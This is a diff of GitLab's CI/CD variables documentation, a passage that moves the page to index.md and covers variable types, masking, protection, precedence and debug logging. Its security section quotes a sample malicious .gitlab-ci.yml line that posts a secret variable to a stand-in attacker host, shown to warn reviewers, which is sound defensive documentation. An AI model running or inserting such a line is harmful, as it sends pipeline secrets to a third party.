is masked - in job logs. The variable fails to save if the value does not meet the - [masking requirements](#mask-a-cicd-variable). - -#### View all group-level variables available in a project - -To view all the group-level variables available in a project: - -1. In the project, go to **Settings > CI/CD**. -1. Expand the **Variables** section. - -Variables from [subgroups](../../user/group/subgroups/index.md) are recursively -inherited. - - - -### Add a CI/CD variable to an instance **(FREE SELF)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. - -To make a CI/CD variable available to all projects and groups in a GitLab instance, -add an instance CI/CD variable. You must have the [Administrator role](../../user/permissions.md). - -You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). - -To add an instance variable: - -1. On the top bar, select **Menu >** **{admin}** **Admin**. -1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section. -1. Select the **Add variable** button, and fill in the details: - - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), - 10,000 characters is allowed. This is also bounded by the limits of the selected - runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Protect variable** (Optional): If selected, the variable is only available - in pipelines that run on protected branches or tags. - - **Mask variable** (Optional): If selected, the variable's **Value** is not shown - in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable). - -### CI/CD variable types - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. - -All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file -are `Variable` type. Project, group and instance CI/CD variables can be `Variable` -or `File` type. - -`Variable` type variables: - -- Consist of a key and value pair. -- Are made available in jobs as environment variables, with: - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value as the environment variable value. - -Use `File` type CI/CD variables for tools that need a file as input. - -`File` type variables: - -- Consist of a key, value and file. -- Are made available in jobs as environment variables, with - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value saved to a temporary file. - - The path to the temporary file as the environment variable value. - -Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) -and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -use `File` type variables for configuration. - -For example, if you have the following variables: - -- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. -- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. - -Use the variables in a job script like this: - -```shell -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" -``` - -An alternative to `File` type variables is to: - -- Read the value of a CI/CD variable (`variable` type). -- Save the value in a file. -- Use that file in your script. - -```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" -``` - -### Mask a CI/CD variable - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10 - -You can mask a project, group, or instance CI/CD variable so the value of the variable -does not display in job logs. - -To mask a variable: - -1. In the project, group, or Admin Area, go to **Settings > CI/CD**. -1. Expand the **Variables** section. -1. Next to the variable you want to protect, select **Edit**. -1. Select the **Mask variable** check box. -1. Select **Update variable**. - -The value of the variable must: - -- Be a single line. -- Be 8 characters or longer, consisting only of: - - Characters from the Base64 alphabet (RFC4648). - - The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later). - - The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later). - - The `~` character ([In GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61517) and later). -- Not match the name of an existing predefined or custom CI/CD variable. - -### Protect a CI/CD variable - -You can protect a project, group or instance CI/CD variable so it is only passed -to pipelines running on [protected branches](../../user/project/protected_branches.md) -or [protected tags](../../user/project/protected_tags.md). - -To protect a variable: - -1. Go to **Settings > CI/CD** in the project, group or instance admin area. -1. Expand the **Variables** section. -1. Next to the variable you want to protect, select **Edit**. -1. Select the **Protect variable** check box. -1. Select **Update variable**. - -The variable is available for all subsequent pipelines. - -### CI/CD variable security - -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables -and send them to a third party server regardless of the masked setting. If the pipeline -runs on a [protected branch](../../user/project/protected_branches.md) or -[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. - -Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: - -- [Run a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). -- Merge the changes. - -The following example shows malicious code in a `.gitlab-ci.yml` file: - -```yaml -build: - script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" -``` - -Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) -and stored in the database. This data can only be read and decrypted with a -valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). - -### Custom variables validated by GitLab - -Some variables are listed in the UI so you can choose them more quickly. - -| Variable | Allowed Values | Introduced in | -|-------------------------|----------------------------------------------------|---------------| -| `AWS_ACCESS_KEY_ID` | Any | 12.10 | -| `AWS_DEFAULT_REGION` | Any | 12.10 | -| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | - -WARNING: -When you store credentials, there are [security implications](#cicd-variable-security). -If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). - -## Use CI/CD variables in job scripts - -All CI/CD variables are set as environment variables in the job's environment. -You can use variables in job scripts with the standard formatting for each environment's -shell. - -To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/). - -### Use variables with Bash, `sh` and similar - -To access environment variables in Bash, `sh`, and similar shells, prefix the -CI/CD variable with (`$`): - -```yaml -job_name: - script: - - echo "$CI_JOB_ID" -``` - -### Use variables with PowerShell - -To access variables in a Windows PowerShell environment, including environment -variables set by the system, prefix the variable name with (`$env:`) or (`$`): - -```yaml -job_name: - script: - - echo $env:CI_JOB_ID - - echo $CI_JOB_ID - - echo $env:PATH -``` - -In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820) -environment variables might need to be surrounded by quotes to expand properly: - -```yaml -job_name: - script: - - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test -``` - -### Use variables with Windows Batch - -To access CI/CD variables in Windows Batch, surround the variable -with `%`: - -```yaml -job_name: - script: - - echo %CI_JOB_ID% -``` - -You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html). -Delayed expansion might be needed for variables that contain white spaces or newlines. - -```yaml -job_name: - script: - - echo !ERROR_MESSAGE! -``` - -### List all environment variables - -You can list all environment variables available to a script with the `export` command -in Bash or `dir env:` in PowerShell. This exposes the values of **all** available -variables, which can be a [security risk](#cicd-variable-security). -[Masked variables](#mask-a-cicd-variable) display as `[masked]`. - -For example: - -```yaml -job_name: - script: - - export - # - 'dir env:' # Use this for PowerShell -``` - -Example job log output: - -```shell -export CI_JOB_ID="50" -export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" -export CI_COMMIT_SHORT_SHA="1ecfd275" -export CI_COMMIT_REF_NAME="main" -export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" -export CI_COMMIT_TAG="1.0.0" -export CI_JOB_NAME="spec:other" -export CI_JOB_STAGE="test" -export CI_JOB_MANUAL="true" -export CI_JOB_TRIGGERED="true" -export CI_JOB_TOKEN="[masked]" -export CI_PIPELINE_ID="1000" -export CI_PIPELINE_IID="10" -export CI_PAGES_DOMAIN="gitlab.io" -export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" -export CI_PROJECT_ID="34" -export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" -export CI_PROJECT_NAME="gitlab-foss" -export CI_PROJECT_TITLE="GitLab FOSS" -export CI_PROJECT_NAMESPACE="gitlab-org" -export CI_PROJECT_ROOT_NAMESPACE="gitlab-org" -export CI_PROJECT_PATH="gitlab-org/gitlab-foss" -export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss" -export CI_REGISTRY="registry.example.com" -export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss" -export CI_REGISTRY_USER="gitlab-ci-token" -export CI_REGISTRY_PASSWORD="[masked]" -export CI_RUNNER_ID="10" -export CI_RUNNER_DESCRIPTION="my runner" -export CI_RUNNER_TAGS="docker, linux" -export CI_SERVER="yes" -export CI_SERVER_URL="https://example.com" -export CI_SERVER_HOST="example.com" -export CI_SERVER_PORT="443" -export CI_SERVER_PROTOCOL="https" -export CI_SERVER_NAME="GitLab" -export CI_SERVER_REVISION="70606bf" -export CI_SERVER_VERSION="8.9.0" -export CI_SERVER_VERSION_MAJOR="8" -export CI_SERVER_VERSION_MINOR="9" -export CI_SERVER_VERSION_PATCH="0" -export GITLAB_USER_EMAIL="user@example.com" -export GITLAB_USER_ID="42" -... -``` - -## Pass an environment variable to another job - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. - -You can pass environment variables from one job to another job in a later stage. -These variables cannot be used as CI/CD variables to configure a pipeline, but -they can be used in job scripts. - -1. In the job script, save the variable as a `.env` file. -1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv) -artifact. -1. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/README.md#dependencies) - or the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keywords. -1. The later job can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). - -For example, with the [`dependencies`](../yaml/README.md#dependencies) keyword: - -```yaml -build: - stage: build - script: - - echo "BUILD_VERSION=hello" >> build.env - artifacts: - reports: - dotenv: build.env - -deploy: - stage: deploy - script: - - echo "$BUILD_VERSION" # Output is: 'hello' - dependencies: - - build -``` - -For example, with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword: - -```yaml -build: - stage: build - script: - - echo "BUILD_VERSION=hello" >> build.env - artifacts: - reports: - dotenv: build.env - -deploy: - stage: deploy - script: - - echo "$BUILD_VERSION" # Output is: 'hello' - needs: - - job: build - artifacts: true -``` - -## CI/CD variable precedence - -You can use CI/CD variables with the same name in different places, but the values -can overwrite each other. The type of variable and where they are defined determines -which variables take precedence. - -The order of precedence for variables is (from highest to lowest): - -1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), - [scheduled pipeline variables](../pipelines/schedules.md#using-variables), - and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). -1. Project [variables](#custom-cicd-variables). -1. Group [variables](#add-a-cicd-variable-to-a-group). -1. Instance [variables](#add-a-cicd-variable-to-an-instance). -1. [Inherited variables](#pass-an-environment-variable-to-another-job). -1. Variables defined in jobs in the `.gitlab-ci.yml` file. -1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. -1. [Deployment variables](#deployment-variables). -1. [Predefined variables](predefined_variables.md). - -In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. -Variables defined in jobs have a higher precedence than variables defined globally. - -```yaml -variables: - API_TOKEN: "default" - -job1: - variables: - API_TOKEN: "secure" - script: - - echo "The variable value is $API_TOKEN" -``` - -## Override a defined CI/CD variable - -You can override the value of a variable when you: - -1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI. -1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline). -1. Run a job manually in the UI. -1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). -1. Trigger a pipeline by using [the API](../triggers/README.md#making-use-of-trigger-variables). -1. Pass variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline). - -The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence). - -### Override a variable when running a pipeline manually - -You can override the value of a CI/CD variable when you -[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). - -1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**. -1. Choose the branch you want to run the pipeline for. -1. Input the variable and its value in the UI. - -### Restrict who can override variables - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8. - -You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline -with overridden variables, they receive the `Insufficient permissions to set pipeline variables` -error message. - -If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-file), -use this setting for control over the environment the pipeline runs in. - -You can enable this feature by using [the projects API](../../api/projects.md#edit-project) -to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. - -## Limit the environment scope of a CI/CD variable - -By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a -compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is -a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting -the environment scope of a variable. GitLab does this by -[defining which environments and corresponding jobs](../environments/index.md) -the variable can be available for. - -To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs). - -To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected -branches or tags, see [Protect a CI/CD Variable](#protect-a-cicd-variable). - -## Deployment variables - -Integrations that are responsible for deployment configuration can define their own -variables that are set in the build environment. These variables are only defined -for [deployment jobs](../environments/index.md). - -For example, the [Kubernetes integration](../../user/project/clusters/index.md#deployment-variables) -defines deployment variables that you can use with the integration. - -The [documentation for each integration](../../user/project/integrations/overview.md) -explains if the integration has any deployment variables available. - -## Auto DevOps environment variables - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7. - -You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables -to a running application. - -To make a CI/CD variable available as an environment variable in the running application's container, -[prefix the variable key](../../topics/autodevops/customize.md#application-secret-variables) -with `K8S_SECRET_`. - -CI/CD variables with multi-line values are not supported. - -## Debug logging - -> Introduced in GitLab Runner 1.7. - -WARNING: -Debug logging can be a serious security risk. The output contains the content of -all variables and other secrets available to the job. The output is uploaded to the -GitLab server and visible in job logs. - -You can use debug logging to help troubleshoot problems with pipeline configuration -or job scripts. Debug logging exposes job execution details that are usually hidden -by the runner and makes job logs more verbose. It also exposes all variables and secrets -available to the job. - -Before you enable debug logging, make sure only [team members](../../user/permissions.md#project-features) -can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) -with debug output before you make logs public again. - -### Enable Debug logging - -To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: - -```yaml -job_name: - variables: - CI_DEBUG_TRACE: "true" -``` - -Example output (truncated): - -```shell -... -export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE" -if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then - echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\'' - $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace" - $'\''git'\'' "config" "fetch.recurseSubmodules" "false" - $'\''rm'\'' "-f" ".git/index.lock" - $'\''git'\'' "clean" "-ffdx" - $'\''git'\'' "reset" "--hard" - $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git" - $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds" -++ CI_BUILDS_DIR=/builds -++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace -++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace -++ export CI_CONCURRENT_ID=87 -++ CI_CONCURRENT_ID=87 -++ export CI_CONCURRENT_PROJECT_ID=0 -++ CI_CONCURRENT_PROJECT_ID=0 -++ export CI_SERVER=yes -++ CI_SERVER=yes -++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp -++ echo -n '-----BEGIN CERTIFICATE----- ------END CERTIFICATE-----' -++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE -++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE -++ export CI_PIPELINE_ID=52666 -++ CI_PIPELINE_ID=52666 -++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666 -++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666 -++ export CI_JOB_ID=7046507 -++ CI_JOB_ID=7046507 -++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655 -++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655 -++ export CI_JOB_TOKEN=[MASKED] -++ CI_JOB_TOKEN=[MASKED] -++ export CI_REGISTRY_USER=gitlab-ci-token -++ CI_REGISTRY_USER=gitlab-ci-token -++ export CI_REGISTRY_PASSWORD=[MASKED] -++ CI_REGISTRY_PASSWORD=[MASKED] -++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git -++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git -++ export CI_JOB_NAME=debug_trace -++ CI_JOB_NAME=debug_trace -++ export CI_JOB_STAGE=test -++ CI_JOB_STAGE=test -++ export CI_NODE_TOTAL=1 -++ CI_NODE_TOTAL=1 -++ export CI=true -++ CI=true -++ export GITLAB_CI=true -++ GITLAB_CI=true -++ export CI_SERVER_URL=https://gitlab.com:3000 -++ CI_SERVER_URL=https://gitlab.com:3000 -++ export CI_SERVER_HOST=gitlab.com -++ CI_SERVER_HOST=gitlab.com -++ export CI_SERVER_PORT=3000 -++ CI_SERVER_PORT=3000 -++ export CI_SERVER_PROTOCOL=https -++ CI_SERVER_PROTOCOL=https -++ export CI_SERVER_NAME=GitLab -++ CI_SERVER_NAME=GitLab -++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal -++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal -++ export CI_PROJECT_ID=17893 -++ CI_PROJECT_ID=17893 -++ export CI_PROJECT_NAME=ci-debug-trace -++ CI_PROJECT_NAME=ci-debug-trace -++ export CI_PROJECT_TITLE='GitLab FOSS' -++ CI_PROJECT_TITLE='GitLab FOSS' -++ export CI_PROJECT_PATH=gitlab-examples/ci-debug-trace -++ CI_PROJECT_PATH=gitlab-examples/ci-debug-trace -++ export CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace -++ CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace -++ export CI_PROJECT_NAMESPACE=gitlab-examples -++ CI_PROJECT_NAMESPACE=gitlab-examples -++ export CI_PROJECT_ROOT_NAMESPACE=gitlab-examples -++ CI_PROJECT_ROOT_NAMESPACE=gitlab-examples -++ export CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace -++ CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace -++ export CI_PROJECT_VISIBILITY=public -++ CI_PROJECT_VISIBILITY=public -++ export CI_PROJECT_REPOSITORY_LANGUAGES= -++ CI_PROJECT_REPOSITORY_LANGUAGES= -++ export CI_DEFAULT_BRANCH=main -++ CI_DEFAULT_BRANCH=main -++ export CI_REGISTRY=registry.gitlab.com -++ CI_REGISTRY=registry.gitlab.com -++ export CI_API_V4_URL=https://gitlab.com/api/v4 -++ CI_API_V4_URL=https://gitlab.com/api/v4 -++ export CI_PIPELINE_IID=123 -++ CI_PIPELINE_IID=123 -++ export CI_PIPELINE_SOURCE=web -++ CI_PIPELINE_SOURCE=web -++ export CI_CONFIG_PATH=.gitlab-ci.yml -++ CI_CONFIG_PATH=.gitlab-ci.yml -++ export CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045 -++ CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045 -++ export CI_COMMIT_SHORT_SHA=dd648b2e -++ CI_COMMIT_SHORT_SHA=dd648b2e -++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 -++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 -++ export CI_COMMIT_REF_NAME=main -++ CI_COMMIT_REF_NAME=main -++ export CI_COMMIT_REF_SLUG=main -++ CI_COMMIT_REF_SLUG=main -... -``` - -### Restrict access to debug logging - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8. - -You can restrict access to debug logging. When restricted, only users with -[developer or higher permissions](../../user/permissions.md#project-members-permissions) -can view job logs when debug logging is enabled with a variable in: - -- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- The CI/CD variables set in the GitLab UI. - -WARNING: -If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible -to all users with access to job logs. The permission levels are not checked by the runner, -so you should only use the variable in GitLab itself. - -## Video walkthrough of a working example - -The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) -video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) -working example project. It explains how multiple levels of group CI/CD variables -can be combined with environment-scoped project variables for complex configuration -of application builds or deployments. - -The example can be copied to your own group or instance for testing. More details -on what other GitLab CI patterns are demonstrated are available at the project page. +<!-- This redirect file can be deleted after 2021-09-28. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md new file mode 100644 index 00000000000..e6768968d83 --- /dev/null +++ b/doc/ci/variables/index.md @@ -0,0 +1,824 @@ +--- +stage: Verify +group: Pipeline Authoring +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# GitLab CI/CD variables **(FREE)** + +CI/CD variables are a type of environment variable. You can use them to: + +- Control the behavior of jobs and [pipelines](../pipelines/index.md). +- Store values you want to re-use. +- Avoid hard-coding values in your `.gitlab-ci.yml` file. + +You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: + +- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). +- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). +- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). + +> For more information about advanced use of GitLab CI/CD: +> +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/) +> shared by GitLab engineers. +> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/) +> of managing projects across many cloud providers with GitLab CI/CD. + +## Predefined CI/CD variables + +GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md) +you can use in pipelines configuration and job scripts. + +### Use predefined CI/CD variables + +You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. + +This example shows how to output a job's stage by using the `CI_JOB_STAGE` +predefined variable: + +```yaml +test_variable: + stage: test + script: + - echo "$CI_JOB_STAGE" +``` + +The script outputs the `stage` for the `test_variable`, which is `test`: + + + +## Custom CI/CD variables + +You can create custom CI/CD variables: + +- For a project: + - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). + - [In the project's settings](#add-a-cicd-variable-to-a-project). + - [With the API](../../api/project_level_variables.md). +- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). +- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). + +You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), +or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). + +There are two types of variables: [`File` or `Variable`](#cicd-variable-types). + +Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) +to execute scripts. Each shell has its own set of reserved variable names. + +Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). + +By default, pipelines from forked projects can't access CI/CD variables in the parent project. +If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project), +all variables become available to the pipeline. + +### Create a custom CI/CD variable in the `.gitlab-ci.yml` file + +To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file, +define the variable and value with `variables` keyword. + +You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file. +If the variable is at the top level, it's globally available and all jobs can use it. +If it's defined in a job, only that job can use it. + +```yaml +variables: + TEST_VAR: "All jobs can use this variable's value" + +job1: + variables: + TEST_VAR_JOB: "Only job1 can use this variable's value" + script: + - echo "$TEST_VAR" and "$TEST_VAR_JOB" +``` + +Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project +configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are +visible in the repository. Store sensitive variables containing secrets, keys, and so on +in project settings. + +Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md). + +If you don't want globally defined variables to be available in a job, set `variables` +to `{}`: + +```yaml +job1: + variables: {} + script: + - echo This job does not need any variables +``` + +You can use variables to help define other variables. Use `$$` to ignore a variable +name inside another variable: + +```yaml +variables: + FLAGS: '-al' + LS_CMD: 'ls "$FLAGS" $$TMP_DIR' +script: + - 'eval 